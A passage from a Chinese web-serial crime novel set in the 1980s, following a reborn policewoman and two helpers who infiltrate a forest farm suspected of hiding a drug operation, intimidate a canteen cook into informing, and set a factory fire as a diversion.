“对了。”安暖说:“有没有办法换个车牌号?要是能换辆车就更好了,我担心刚才那两个人看见了我们的车,万一他们起了疑心,就不好了。” 蓬钧意外的看了安暖一眼。 “你想的挺周到。”蓬钧说:“放心吧,我们换车进去。” 那就好。 曲嘉一边开车,一边说:“你是想混进红星农场?” “对。”安暖正色说:“我怀疑里面有……” 她犹豫了一下,还是坦白说:“可能是一个毒品制作基地,或者有交易,或者是类似相关……” 曲嘉转头看了安暖一眼。 “你有证据吗?” 安暖叹了口气:“我要是有证据,就不用让老爷子请你们来帮忙了。” 曲嘉和蓬钧脸上的表情,都有些不满。 涉毒都是大案,安暖一个普通人,带着他们俩,简直像是过家家一样。 可昨晚上看安暖的表情,却又不像是一场不知轻重的玩笑。 第221章 英雄可以是我 蓬钧沉声道:“你可要想清楚,若是涉毒,这事情会十分凶险。甚至可能,会要命。” “我明白。”安暖看向窗外:“我知道有些事难免有牺牲。” “你不害怕?” “有一点。”安暖说:“但这个牺牲,既然可以是旁的英雄,也可以是我。如果是我,那我也就成了英雄,没有什么可怕的。虽然我无亲无故,但日后逢年过节,也会有人为我上一炷香,擦一擦墓碑。” 普通人可能只是在报纸上,电视上,口耳相传的,听说过英雄,听说过牺牲。 但这对安暖来说,是真实感受过的。 上一世她虽然没有参与过禁毒,但也接触过一些,更别提其他原因牺牲的同事,甚至包括她自己。 这一世,她的介入不知道能不能改变一些人的结局,如果一定要有流血,必须有牺牲。她宁愿是自己,换下许骧,换下许醉,换下楚隽。 本来,她就是孤身一身,多余的那个。 人固有一死,为国为民,死而无憾。 只是遗憾给了楚隽这么一段无疾而终的相遇,大概会成为他心里一想就痛的一段过往。 安暖想着,掏出包里的小本本,在上面写写画画的。 蓬钧忍不住道:“你写什么?” “遗书。” “……” 曲靖忍不住转头看了一眼,见安暖真的在写遗书,心情十分复杂。 蓬钧突然从后座探过身来,一把按住安暖的手。 笔尖划拉一声,在纸上画出一道波折。 “我们会保护你的。”蓬钧说:“别那么悲观。” “我不是悲观。”安暖正色道:“我也希望你们在遇到危险的时候,不要莽撞,不要拼命。可以为完成任务拼命,不要为我拼命。我找爷爷借人,是帮我做事的,不是救命的。” 更不是用命换命的。 安暖有些担心这曲嘉和蓬钧会英雄气概冲动行事,他们可以为了办案牺牲,可不能为了自己牺牲。 “放心吧。”曲嘉说:“我们有分寸。” 车开出市区,到了郊外。 安暖一路在看地图。 这个年代没有导航,寻找一个地方,变得有些困难。 快出市区的时候,看见路边有个电话亭。 曲嘉将车停了下来,去打了几个电话。 “曲哥,知道红星林场在哪里了吗?”安暖连忙问道。 “知道了,我们现在去换车,换个身份。”曲嘉说:“我刚才打听了一下,大概知道了位置。我有一个朋友,和林场有生意来往。” 和林场的生意来往,那就是,买卖木头了。 曲嘉正要开车,安暖一把按住他胳膊。 “你这个朋友,可靠吗?”安暖不是很放心:“这事情非同小可。” “可靠,而且,我也不会对他说什么,只是说我们想投资点林场的生意,所以想进去看看。”曲嘉说:“他不知道我的身份,不会怀疑的。” 用人不疑,疑人不用。 既然这两个人是翟老爷子推荐的,安暖就选择相信他们。 “好。”安暖说:“你大概跟我指一下方向,我来开车,你们两昨晚都没休息,休息一会儿吧。” 养精蓄锐,意图后用。 “不用。”曲嘉爽快地拒绝了安暖的提议:“你休息吧,不用管我们,我们没事儿。” 安暖点了点头,也不强求。 她之所以那么着急,一来,这事情已经拖不得了,多半天,就是半天的变故,她要赶在许骧他们彻底陷入死局之前动手,提前介入。二来,雷晓飞前天送去的一车人,她们过去的时间还短,说不定还没有遇害。 这一次他们三人都会离车,蓬钧将雷晓飞捆结实了,确定他现在是昏迷中,醒来也挣扎不出来,这才放心。 车开了半个小时,到了一个院子门口。 农村的院子,门口停了辆半新半旧的面包车,一旁栓了一条大狼狗,他们的车一靠近,大狼狗就叫了起来。 “旺旺旺,旺旺旺。” 挺好的,吉利。 曲嘉说:“你们等一下,我先去看看。” 曲嘉进了院子,没一会儿就出来了,跟他一起出来的,还有一个中年人。 曲嘉朝安暖招了招手。 安暖下了车。 “这是安同志。”曲嘉说:“安同志想要做木材生意,但是以前没有涉及过这一块,想要先了解一下。” 曲嘉可真敢说。 安暖点了点头:“你好,我是安暖。” 真名假名都无所谓,反正安暖这个名字也无人知晓。 “你好,你好。”男人将手在自己身上擦了一下,伸出来和安暖握了握:“我是段知旭,也做点木料生意。” 安暖道:“只是和红星林场吗?” “哦,那不是。”段知旭说:“这附近有好几个林场,还有养殖场,我不止是做红星林场的生意,其他地方的我也做。” 段知旭是个中间商,就是赚这个钱。 近水楼台先得月,会赚钱的人,在哪儿都能赚钱。 “安同志除了红星农场,还有对其他地方感兴趣吗?我都可以介绍的。”段知旭掰着手指头说起附近的情况,如数家珍。 安暖道:“先看红星,再看其他地方。其他地方也不是不考虑。” “好,好好。”段知旭挺开心的:“那,我带你们去吧?” “好。”曲嘉道:“不过,我希望先不要让林场的人知道。安同志想要先看私下看看。” “行,我明白。” 段知旭懂事。 他以为安暖是怕自己和林场的人合谋,或者林场故意给她看一些好的,藏起一些坏的,做面子工程。 蓬钧也下了车。 安暖说:“哦,这是我保镖。” 蓬钧两手交握胸前,一言不发站在安暖身后,面无表情,做一个合格的保镖。 “那……我们这就走?”段知旭说:“那边的路不好,你们的车大。就坐我的车吧,免得你那车刮坏了,那么好的车可惜了。” “行。” 红星林场是个大公司,就算是有问题,也不可能都有问题。 有问题的,只有核心的一些人。 就算是个基地,也只会在某一个隐蔽的地方,不可能堂而皇之的将见不得人的事情摆在外面。 他们赶时间,计划难免简单粗糙。 进去之后,找个借口甩开段知旭,一探究竟。 第222章 停车地址 段知旭带着他们,到了红星农场。 在曲嘉的要求下,没有走大门,而是去了一处侧门。这侧门是段知旭拉木头常进出的,现在也是开着门,人来人往的。 林场很大,以前都是公家的,现在已经可以私人承包了。 不过承包林场的人,都是财大气粗,有些是好几个人一起承包。 红星林场的具体情况,在来的路上段知旭已经吧嗒吧嗒都跟他们说了。他在林场边住了几代人,又一直跟林场做生意,当然是对林场知根知底的。至少表面上能查到的,他都知道。 也没觉得这是什么不能说的秘密。 安暖想要投资林场,当然要知己知彼了。他也觉得这是理所应当的事情,所以知无不言,言无不尽。 红星林场面积很大,这一片只是厂房区,就算有秘密,也不太会在厂房区。 这里人来人往,不管干什么,都容易被发现。 就算在厂房区,也在无人知晓的角落里。 “老段。” 正在装车的工人跟段知旭打招呼。 “老周。”段知旭说:“忙着呢。” “是。这两天事情挺多的。”工人说:“老段,你这是……” “几个朋友,也想和林场做生意,我带他们来看看。” “哦哦哦。”工人说:“那你们转转。” “好,那你忙着。” 段知旭给工人打了一支烟,就继续往里走。 林场可不是什么保密单位,不是三步一岗五步一哨的,到处都能看见的只有木头。 段知旭给介绍着。 “这边是装卸区,这边是办公区,那边有几个车间……请了一些工人,做一些木质竹制工艺品的加工,很多都是出口国外赚外汇的呢,卖得很不错,外国人可喜欢了。” 安暖说:“那不错,我也有接触一些外国用户,到时候也可以试一试。” 段知旭一听:“那我带你们去车间看看,有看中的,可以拿几个样品。” “好。”安暖应着,突然道:“刚才好像看见有人在找你。” “谁?” “不知道。” 安暖随手一指:“在那边,一个三十来岁的男人,我也不确定。” 一路进来,他们碰见了客户,工人,工作人员,这么大一个农场,当然不是三两个人可以运转起来的。所以说有人找段知旭,他一点儿也不奇怪。 段知旭甚至还自己脑补了一下。 “估计是梁会计找我,那行,我过去一下。你们就在这几个厂房转转,我一会儿就过来找你们。” “好。” 段知旭一点儿也不犹豫地走了。 三个人果然进了厂房。 厂房里井然有序,一个一个的操作台,戴着口罩帽子的工人,正在用一些木块,木片,加工工艺品。 这里是常有人来参观的,因此安暖三人进入生产车间,没有任何人觉得奇怪。 一个管理一样的人,还上来寒暄了几句。 上门都是客人,而且别的不说,看安暖的穿着,戴的表。身后跟着男人一副笔挺的样子,就知道身价不菲。 来的都是财神爷,财神奶奶,那能不笑脸相迎吗? 安暖似乎很感兴趣地站在一个工人面前看他手指灵巧地切割材料,但是心里有点着急。 还是将事情想得简单了。 她知道林场很大,但是没想到这么大。 这么大,又在不能惊动对方的情况下,别说三个人,就算是三十个人,敞开给你搜,也不好搜。 隐蔽的地方,能让这么多工人天天来来往往都没有察觉,一定藏得很深。 安暖一时都没有方向,对这件事情知道更少的蓬钧和曲嘉,就更没有什么想法了。 又不能抓一个人来严刑拷打。 而且,就目前这样子看,随便抓一个也没用,知道的估计比他们还少。 两人只能看着安暖。 安暖转头看着窗外,外面有人正在装货发货,往一辆面包车上,搬上搬下。 一定有什么疏漏。 安暖突然心里一亮。 是了,有一个隐蔽的线索,是她疏漏的地方。 安暖将两人叫到一边,低声讨论,一边说,还指了指工作台。 旁人偶尔看一眼,还以为他们在讨论生意合作呢,一点儿也不奇怪。 蓬钧道:“你想到什么了?” 安暖点了点头。 “你们还记得吗?雷晓飞昨晚上说,他前天开车送了几个妇女来林场。那几个妇女是被捆着手脚,嘴里塞着布,像是货物一样运过来的。” 当然记得。 “但是,雷晓飞只是将人运到门口,卸下后就离开了,并没有进入林区。”蓬钧一想,没想出有什么问题。 “是,但是停车的位置有问题。” 当时雷晓飞吓坏了,安暖一问,就絮絮叨叨地说了个详尽。 有一个细节当时谁也没注意,安暖也没有注意。 “雷晓飞说过,他将人放在林区门口,一片竹林下,然后就走了。”安暖道:“可是我们刚才一路进来,放眼望去,没有多少竹子。段知旭对林区非常熟悉,也和我们介绍了一些红星林场重点种植的品种,没竹子,都是树。” 这里并非盛产竹子的地方。 蓬钧眼前一亮。 “我明白你的意思了。” 林场很大,是一个不规则地圈。 有好几个门,每个门,有自己的用处。 比如正门,有正规活动走正门。正门高大上,进出有排场。 还有侧门,后门,小门。 那么大的园区,要是只有一个门,诸多不便。很多工人上班,也一定是自己家离哪个门近,就走哪个门的。 他们现在要找的,就是有竹林的门。 几个被绑着的妇女,不管白天晚上,这都不是能被人看见的事情。 所以雷晓飞即便没有资格将人送进林场,对方也一定会要求在最近的地方将人放下。对方可能就躲在暗处,只等雷晓飞一走,立刻就上前抓人。 总不能带着几个被绑架的人,浩浩荡荡地穿过半个林区吧。 毒贩是凶残,也许也张狂,但没有那么傻。 安暖道:“我们现在只要把这个门找出来,这个秘密地址,肯定就在这个门附近。” 第223章 不常开的门 这倒是一个思路。 蓬钧道:“你说的有道理,要不然我们先出去,开车绕着林场转一圈,就什么都看清了。” 这实在是艺高人胆大的想法。 大白天的,开车这么一绕,他们是看清了园区了,对方也看清他们了。估计来不及靠近,枪都已经架起来了。 看的清清楚楚,一点儿遗漏都没有。 但晚上更糟糕。 除非他们换一身衣服,徒步寻找目标。开车在晚上,那跟黑纸上的一点光有什么不一样,还是唱着歌的一点光。 安暖说:“找个人问吧,好歹要有个方向。” 既然园区里大部分人都肯定是正常的,随口问问又何妨? 安暖找了个五十来岁的工人,站在一旁跟她聊天。 蓬钧和曲嘉当保镖,尽职尽责站在一边。 他们越来越觉得,安暖是专业的。就是目前还不知道到底是什么专业。 安暖先给工人塞了包烟。 这是她来林场的路上买的,挺好的烟买了一条,上车就给蓬钧和曲嘉一人塞了两包。 两人当时就挺意外的。 看安暖的样子冷冷清清的,没想到还这么懂人情世故。 两人开始推辞了几下,然后也就收了。 剩下的安暖就放在包里,虽然自己不抽,但是可以开道做人情。 工人在林场工作,收入有限,平时抽不起这么好的烟,一看先推辞,被硬塞进口袋之后,说话都温和了几度。 安暖也不问竹子不竹子,只像是每一个想来投资的人一样,闲聊。 翻来覆去地聊。 聊的差不多了,安暖说:“我看你们这车间里,也有竹子做的工艺品。” “有的,竹制品也很受欢迎。” “可我没见着林区有多少竹子呀。”安暖说:“这竹子,是你们林子自己种植的吗?” “是。”工人说:“跟旁的比起来,竹子是不多,但也有一大片。” “这东西挺好的,可以掰一根回去,教训小孩儿。”安暖笑道:“对了,有长的吗?我能不能要一根带走?” 他们刚才看了,车间里的竹子,都已经被切割过了,真没有。 果然工人一听:“咱们车间没有,不过外面有,可以叫人给你拔上一根。” “哪儿有。”安暖感兴趣道:“我刚才进来,一路好像也没见着竹子。” “有。”工人不知安暖心里那些弯弯绕,热情道:“园区北食堂院子有,四号门门口也有一片,都长得挺好的。” “那太好了。”安暖高兴地说:“师傅,谢谢你。” “不谢不谢。”师傅也很高兴。 “对了。”安暖说:“我看也快中午了,我想就在食堂吃个饭。这个四号门,离哪个食堂近一点?” “就北食堂。” 师傅一点儿也不怀疑,仔细的给指了路。 “哦哦,明白了,明白了。”安暖说:“我吃了饭,就从四号门出去,那,离大门出货的二号门近吗,我车停在二号门门口,要是近的话,就走过去,消消食运动一下。” “那可不行。”师傅说:“别看一个二号一个四号,一个在北一个在南被离着半个园区呢。而且四号门那边荒凉,路也不好走,咱们通常都不去。看你这一身都挺贵的,要是刮破了就不合算了。” 果然,雷晓飞送人的那个地方,是有问题的。 安暖问到了要问的问题,又和师傅寒暄几句,离开工厂。 离开的时候,手里还拿着一个竹片编制的小花篮。 都是纯手工编出来的,十分精美。 看着花篮,没别的想法。 去北食堂吃饭。 现在十一点了,正是吃饭的好时候。 林场的园区很大,工人也不少,有三个食堂。 一个小食堂,卖的是炒菜,东西稍微贵一点。园区里的管理层,或者有人来参观合作的时候,会请去小食堂吃饭。 还有南北两个食堂,都是大食堂,主打一个物美价廉,并且提供热饭服务。 工人可以自己带饭带菜,食堂免费加热,这样省钱,也算是一项员工福利。 三人在门口等了一会儿,等来了段知旭。 段知旭一听安暖要在林场吃饭,第一个反应是去小食堂,看样子那也是他长吃饭的地方。但是安暖表示自己要去北食堂。 “也行,也行。”段知旭一点儿都不纠结:“其实食堂的饭菜也是不错的,经常有林场打猎的野味,外面可是吃不到的。” 这个年代没人管,山林里的野味只要你有本事,随便打,随便吃。 野猪野兔野鸡什么的,都有。 安暖一听。 眼前一亮。 林场,不就是一样望不到尽头的林子吗? 打猎,可不是个替他们都想好了的好借口? “打猎需要什么证件吗?”安暖感兴趣道:“我还从玩儿过打猎呢,林场打猎,是不是有猎枪?” “啊?”段知旭有点茫然。 感觉安暖真是不食人间烟火的大老板,估计是那种家里很有钱的大小姐,所以想一出,是一出。 “我知道林场是有人承包的。”安暖说:“我可以给钱,猎枪我可以花钱租,打到的猎物,我也可以花钱买。我也不贪那点东西,就是图个新鲜好玩。” 这个年代,枪支管理相对松散,很多山里人家里还有猎枪,土枪。野生动物保护法也还没有颁布,住在山里的人,靠山吃山,打猎野味,再正常不过了。 安暖将自己包装成一个有钱的富商,又是个小姑娘,一点儿不引人注意。 在对方的阵营里,见过她的大概只有许骧和许醉,两个小喽啰不算,旁人就算是看见了,接触了,也不会多心。 “这我得去问问。”段知旭说:“这也不早了,要不先去吃饭。吃了饭,我去找领导问问。林场里有野兽的地方,都比较深,有时候会有危险,不能那么貌冒失的就进去。” “行。”安暖说:“麻烦你了。” “不客气,不客气。” 段知旭笑眯眯的,带着大家去吃饭。 路上,他偷偷摸摸拽过曲嘉。 “老曲。”段知旭说:“你跟这位安同志,熟悉吗?” “挺熟悉的。”曲嘉自然道:“怎么了?” “那你可劝着点。”段知旭小声说:“这段时间山里不太平,让她最好别想着打猎。好玩归好玩儿,出事就不好了。” 第224章 试探 “不太平?”曲嘉一听吓了一跳,也压低了声音:“怎么不太平,出什么事儿了?” 段知旭不想说,觉得这事情不太好。但是又忍不住的样子。 这很正常,正常人都是这个反应。 大部分人都是八卦的,天生就好奇,猎奇。 别人有秘密,想知道。 自己有秘密,也想分享出去。 嘴严的人,简直是凤毛麟角。 于是根本就不用严刑拷打,段知旭自己犹豫了一会儿,就什么都说了。 他只是个局外人,知道的所谓内情,都是道听途说,放出来的消息,又觉得曲嘉几个都是自己人,所以也没有什么好瞒着的。 段知旭说:“前几日,有人在林子里看见一具尸体。说是肚子都被抓开了,里面内脏都没了。” 安暖顿时停住了筷子,看了过来。 “死人了?”曲嘉道:“怎么死的?” “说是山上的猛兽下来了。”段知旭说:“外面人活动多的地方,猛兽不敢来。但是山林深处,说是有老虎豹子的。早些年,还有人亲眼见过,村里还组织大家去打过呢。不过近些年人越来越多,这些野兽就被赶到深山里去了。” 安暖想了想:“死了人,报警了吗?” “这我不太清楚,我也是道听途说。”段知旭说:“好像没人看见尸体,只是一个传一个……如果真死了人,那肯定要报警的。但大家在林子里来来去去的,也难免有摔伤什么的,要真是被野兽伤的,那也没什么好报警的。” 对段知旭来说,这事情真假未定。 但总要说一声。 万一真的有呢,最近这段时间林场里也发了通知,不要走小路,尽量走大路。不要一个人,尽量结伴,人多了,就算有野兽也不敢出来。 就怕是外地人不知情,冒冒失失地往里冲。 “好,我知道了。”安暖道:“你说的野兽,肯定在林子深处,我们不走那么远,就在附近逛逛,看看有没有野兔野鸡什么的……我也没想着打老虎,随便看见点什么,打不着也高兴。” 一看就是城里来的大小姐。 在乡下,看什么都新鲜。 安暖这么说,段知旭也就放了心。 野兽再凶狠,不往山里走几个小时也是看不见的,要不然还得了。 吃了饭,段知旭还有点事情,安暖正中下怀。 找了个跟刚才一样的理由,还装模作样地找林场借了两把砍刀,带着曲嘉和蓬钧,大摇大摆就出了门。 砍点竹子去。 出了四号门,外面果然荒凉。 但既然雷晓飞能停面包车,也不至于灌木丛生,无法下脚。 林区园区外面,就是树,以及在树中间开出来的路。安暖看着茫茫树林,心里也难免有些茫然。 她就算是上辈子,也不可能独立完成这么大,这么复杂的案子。 现在离真相越来越近,有种既恍惚,又紧张的感觉。 明知道敌人就在不远处,却又躲在暗处,好像随时会出来撕咬你一口。 安暖责怪的看了一眼蓬钧。 都怪你阻止我,刚才遗书也没写完。 蓬钧没理解这种怨念,只觉得莫名其妙。 竹林就在前面不远,雷晓飞就是将人卸在了这里。 安暖走了过去,低头看地面。 地上有车轮留下的痕迹。 “这很可能是雷晓飞留下的面包车痕迹。”蓬钧说:“可是很奇怪,为什么只有一辆车的。” 如果有人清扫过遮掩车痕,那这里应该一辆车的痕迹都没有。 既然没有清扫,那就至少应该有两辆车。 雷晓飞的面包车,以及来接人转运的车。 这是清扫痕迹,不是定期打扫,没有三天一次,五天一次的道理。 “这只能说明,这个地方离得很近,无需再次换车。”安暖低声说:“走路就能到达的地方。” 要么很近,要么,车完全开不进去。 安暖有一个疯狂的想法。 在这里放上一把火,烧一烧,里面就乱了。 但是放火烧山,牢底坐穿,这事情安暖不敢干。万一控制不住,这损失太大了,她承担不起这样的后果。 为了掩人耳目。 曲嘉和蓬钧开始装模作样地砍竹子。 砍着呢,有人走了出来。 是食堂里的一位师傅,刚才还给在窗口给他们打饭来着。 师傅是个三十来岁的男人,他手里拎着个桶,好像是出来倒泔水的。 这个年代的生活垃圾少,环保意识也没那么强,特别是农村,喂了鸡鸭鹅之后,剩下不能溶解的残留物很少,随便丢丢就行。 林场就更是这样,只要不是火种,想丢什么,随便丢丢。 不过师傅大概从没见过在四号门口砍竹子的,好奇地走了过来。 “几位同志,你们这是在干什么呀?” 三人停下了动作。 “你是打饭的师傅。”安暖说:“我听人喊你,时师傅。” “对,我姓时,我记得你,刚才在咱们食堂里吃饭的几位。” 安暖带着曲嘉和蓬钧,那就是俊男美女,所到之处想要不引起人注意是很难的。更别提又是陌生面孔,他们就没想低调,因为无论怎么装扮,也不可能低调。 不如就大大方方的,坦然更不容易被怀疑。 “对,我们是来实地考察的,想要投资林场,做生意。”安暖自然地上前,给时师傅打烟。 时师傅推辞了一下,接了过去。 “时师傅。”安暖道:“咱们食堂里,伙食还挺好的啊,有肉有鸡的。” “可不是。”时师傅说:“老板有钱,也舍得,不但真材实料,味道不比外面饭馆的差,价格可便宜多了。” “是,确实便宜。”安暖顺着说:“这附近的人能在林场里工作,实在不错。” 曲嘉也放下砍刀,过来聊天。 这个时候出来的人,很难说是干什么的。 安暖一边聊,一边不经意的看他从里面拎出来的桶。 桶里就是一些边角料的泔水,什么菜叶子菜帮子鸡骨头之类。 安暖给了蓬钧一个眼神。 蓬钧点了点头。 明白。 虽然他们不是相处很久的战友,但是在这一瞬间,竟然也有了默契。跟明白人做事,就是有效率。 第225章 识时务者 没有多余的时间,直接上就行。 蓬钧道:“时师傅,我有点事情,想问问你,也不知道方便不方便。” “你说,你说。”时师傅很爽快。 蓬钧笑了笑,上前搂住时师傅的肩膀。 时师傅侧了下脸,正打算仔细地听蓬钧说什么,突然感觉腰上顶了个什么东西。 他低头一看,脸色瞬间变了。 虽然看隔着衣服,也能感觉出圆滚滚的枪口。 蓬钧袖子里有一把枪,就抵在他的腰上。 安暖也有些意外。 她知道曲嘉和蓬钧十有八九身上有枪,但是没想到蓬钧掏枪会掏得那么干脆利落。她还以为会像是在雷晓飞家里一样呢,先用匕首吓唬吓唬人。 “你你你……你干什么?”时师傅哆哆嗦嗦地说:“同志,有有有……有话好说。” “好说。”蓬钧道:“我要见你们老大。” “老大,什么老大?”时师傅哆哆嗦嗦地说:“你说的是我们总经理吗?想见我们总经理也不用这样啊,我,我带你们去就是了。” “别跟我装傻。”蓬钧冷冷说:“谁让你来试探我们的?” 时师傅咬了咬牙:“我听不懂你在说什么。” 曲嘉从一旁走来,拍了拍蓬钧的肩膀,从包里取出个东西给他。 是个可拆卸下来的消音器。 特别专业,特别实用。 时师傅腿一软,要不是蓬钧力气大一把抓住了,差一点就瘫倒下去了。 “想死可太容易了,眼睛一闭就是下辈子了。”安暖走了过去:“不过,你走运。” 时师傅颤颤巍巍的看着安暖,也不知道自己走运在哪里。 但是听安暖说话的语气,竟然是个主事的? 这两个男人,听她的? “因为你是我第一个碰见的人。”安暖说:“你有别人都没有的机会,要是有重大立功表现,死刑变死缓,死缓改无期,再努努力,说不定十来年就能出来。” 时师傅虽然没有那么容易妥协,但是,也确实怕死。要不然的话,他为什么没喊出一嗓子呢。 “要么,下辈子再做人。要么,改造改造,这辈子还能接着做人,二选一。”安暖说:“你要知道,你们这个地方既然被盯上了,一锅端只是时间问题。就算有人能跑,也绝对不是你这种小喽啰。你现在不拼一个前程,还在贼船上等着一起沉,划算吗?” 从段知旭对时师傅的了解程度来看,他一直就是食堂师傅。 不会有贩毒集团的核心人员在这个位置上,所以这个时师傅,只是一个小跟班。 不是核心人物,犯不了太大的事情,不是没有机会回头是岸的。 这种边缘人物是可以招降的,只要脑子好使一点,完全没有必要拿着卖白菜的钱,操着卖白粉的心。” 枪在腰上顶的实实在在的,曲嘉在有条不紊地装消声器。 他也不是没想过这一行朝不保夕,但真到了一眨眼就是下辈子的时候,还是慌张。 安暖说的,都不是感化人的大道理。 是实实在在的真道理。 曲嘉装好了消声器,安暖做了个抹脖子的动作,吩咐:“处理了之后,丢到竹林里去,一时发现不了。” 时师傅终于憋出来一句话。 “你,你们敢杀人?” 安暖笑了一下,手一划拉。 “你可能有点误会,警察当然不敢,但我们仨……都不是警察。” 曲嘉和蓬钧眼皮都没撩一下。 虽然他们确实不敢杀人,但安暖说的也没毛病啊。 他们仨,确实都不是警察。 不守规则的人,比起守规则的人,更要叫人害怕。 就在曲嘉举起枪的时候,时师傅哆嗦了一下。 “说,我说,你们别杀我。” 他绝望地闭上了眼。 “说吧。” 时师傅小声说:“我说了,算重大立功吗?” 他脑子现在其实有点糊涂了。 安暖说自己不是警察,要杀人灭口,他觉得不是开玩笑,是真话。可为什么不是警察,让他坦白从宽,抗拒从严呢? 可惜被枪顶着的人,没有那么清晰的思维。 “算。”安暖很爽快的回答。 按她的知识理解,肯定是算的。 万一要是真不算,就当她辜负了吧。 成大事者不拘小节。 “我,我也不知道是为什么。”时师傅说:“但我经常会送饭去旧仓库附近……那里,是没有人工作的,不知道为什么要送饭过去。” “谁让你送的?” “是林区的副经理,叫蹇峻熙。但是他不常来,一个月也就来几天,我很久没见到他了。” 安暖道:“送的饭菜,是好是坏?” “好的。”时师傅说:“比我们吃的都好。” 要是随便送点,可能是关了什么人,比如雷晓飞送来的妇女,那在犯罪分子眼里是货,不饿死就行,不会精心准备食物。 要是吃得好,那可能就是不一般的身份了。 老大在哪里,都不会亏待自己。 本小章还未完,请点击下一页继续阅读后面精彩内容!“送几人份的饭菜。” “送一大桶,大部分是荤菜。我把饭菜放在仓库门口就走。晚上会有人送回来。” 安暖道:“你出来试探我们,是有人吩咐吗?” “没有。”时师傅忙道:“我就是随便出来看看,蹇经理吩咐过,有人在四号门门口,就出来看看。” 说完,他还有点奇怪。 “你怎么知道我有问题的,我也没说话,没看你们啊。” 时师傅其实挺郁闷的,他本来还想说说话试探一下,结果都没来得及开口,就被按住了。 “呵。”安暖说:“你们林场养了鸡鸭鹅,也养了猪。这些泔水不留着喂猪,你拎出来倒,不奇怪吗?” 时师傅哑口无言。 他还以为自己万无一失。 没想到那么轻易就被看出破绽。 安暖道:“我现在放你回去,你是不是该给他们送饭了?” 时师傅连连点头。 “好,你正常去送饭,给我们带带路。”安暖说:“其他不用你干什么,不用你去冲锋陷阵,到时候,我自然会为你请功减刑。” 时师傅瞬间有种松了口气的感觉。 他不想被曲嘉打死,也不想被自己的老大打死。 曲嘉有些不放心:“他回去要是乱说怎么办?” “他应该不会那么傻。”安暖说:“他已经说了很多不该说的了,如果我们被抓,他也跑不了。毒贩可不是警察,不按规矩办事。他们讲的是宁可错杀,不可放过,被怀疑,就是死。” 这人,在开口的时候,就已经和他们牢牢地拴在一起了。 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第226章 点火 时师傅连连点头,把头点得跟弹簧一样。 他知道自己摊上大事儿了,这事儿可能要吃枪子。能不能活,就看现在的表现了。 人,一生中有无数次选择的机会,他想来想去,觉得被毒贩追杀,只是一时。被警察通缉,可是一辈子。 当下,曲嘉和蓬钧收了枪,众人进了门。 看得出来,时师傅有点紧张,但顾不上了,赶时间。 进门之后,时师傅进食堂装今天要送的饭菜了,三人就在外面用餐区坐着。 这会儿大部分人已经吃完了饭,食堂里已经没有什么人了。 曲嘉低声道:“小安。” “嗯。” “我和蓬钧商量了一下。”曲嘉说:“一会儿,到了旧仓库,我们俩进去探探路,你现在外面等着。” 安暖有些犹豫。 她知道自己的弱点,就是不能打,进去之后,可能会成为累赘。 可是让他们俩进去,也不太放心。 自己好歹还知道一些什么,他们俩,那是真什么都不知道。就这么闯进去,要是一切顺利那很好,万一出了点什么差错怎么办? 安暖皱紧眉头。 “我考虑一下。” “没有什么好考虑的。”曲嘉加重语气:“这件事情,你要听我的。” 安暖忍不住道:“不是,曲哥,你这就不讲道理了,你们俩不是来给我帮忙的吗?要听我的才行,服从命令,才能打胜仗。” 曲嘉皱了眉。 安暖说的好像有道理,但又没有道理。 他和蓬钧交换了一个眼神。 过了一会儿,时师傅出来了,拎着一大一小两个保温桶。 一个是菜,一个是饭。 没有那么讲究,不是一份一份分装好的。 饭在小桶里,菜在大桶里,要多少吃多少。 时师傅自从进了食堂,就没敢和他们有什么交流,拿着饭桶出来之后,也只敢用眼角余光看了看他们,就径自出去了。 三个人也起身往外走,跟的不远不近的,林区里人来人往,乍一看也看不出什么。 一个隐蔽的组织。 成也隐蔽,败也隐蔽。 旧仓库在林区角落里占了好大一片,时师傅就像他每日做的那样,将装着饭菜的桶放在仓库门口,敲了敲门,然后就离开了。 仓库的门是关着的,离得远,看不清有没有锁。 过了一会儿,门开了,一个人从里面出来,将饭菜都拎了进去。 他们不好走近,只能看出是个男人的身形。 “是个练家子。”安暖说:“看得出来吧。” 曲嘉和蓬钧都点头。 他们能看出来,不过很意外安暖也能看出来。 “不知道里面还有多少人。”安暖说:“还是不能硬冲,我想,还是先制造一点混乱好。” “你打算制造什么混乱?” “在这地方,只有放火了。”安暖轻声说。 两人都有种,既意外,又不意外的感觉。 其实从进林区开始,安暖就有了放火的念头。但是放火这事情太大,怕闹出收拾不了的局面,这才一直没说。 没说,不是断了念头,而是一直在考虑,怎么样让这件事情可行。 现在行了。 林区不能放火,园区可以啊。 曲嘉本来想说不行,但转念一想,安暖不是瞎来的人,改口道:“具体呢?” “你们看那边。”安暖一指:“那边是二号厂房,咱们刚才进去过的。” “嗯。” “厂房里堆了木头,棉花,布料,一点就着。” 曲嘉点头。 安暖继续道:“这间厂房离废旧仓库最近,还是上风口,今天风也不错,一旦着火烟飘过来,这边立刻就会发现,一定会出去查看。我们就可以趁虚而入,或者,把出去查看的人给抓住,他们对旧仓库里面的情况一定了解的多一些。” 蓬钧犹豫了一下,问:“我们为什么不直接在旧仓库点火,不是更直截了当。” 虽然是日后的兵王,现在还是略显青涩。 安暖耐心道:“第一,旧仓库如果是他们的窝点,直接起火太刻意了,立刻就会被怀疑,反而会加强戒备。” “第二,我们对旧仓库里的情况一无所知,火不好放。如果里面没有易燃物,烧不起来。可若是有,万一烧大了也很麻烦。里面要是只有匪徒也就罢了,万一还有被他们抓去的人质呢?咱们冒不起这个风险。” 安暖不是冲动的人,就算再着急,也会衡量利弊。 蓬钧缓缓点头。 “厂房不一样。”安暖道:“林区特别怕着火,所以灭火设施准备的特别完善。而这个时候是工人午休时间,厂房门锁上了,里面没人,不会误伤。火也不会烧出园区,不会扩散。” 蓬钧对安暖更佩服了。 真是一桩桩,一件件,都考虑到了。利落但不冲动。而且她每到一个地方,是将那个地方的一切都观察到了,不是去了也白去的。 “听你的。”曲嘉果断说。 在旧仓库放火,这很困难。 但在厂房放火,这就很简单了。 安暖没有参与具体实施,因为她手下有两员大将。 她找了个地方等着,过了没一会儿,便闻到了空气中焦灼的味道。 火已经烧起来了。 也不知道曲嘉和蓬钧用了什么手段,等工人发现的时候,已经浓烟滚滚。 起火了,这可不得了。 瞬间园区里就乱了套。 所有人都冲向了厂房,拿着各种灭火的东西,还有拿着桶拿着盆接水的。 安暖就在旧仓库外不远的地方,听着外面闹了起来之后,便盯着大门。 果然,没一会儿,大概是听见了外面的声音之后,旧仓库的门开了,从里面出来一个人。 正是刚才出来拿饭的那个。 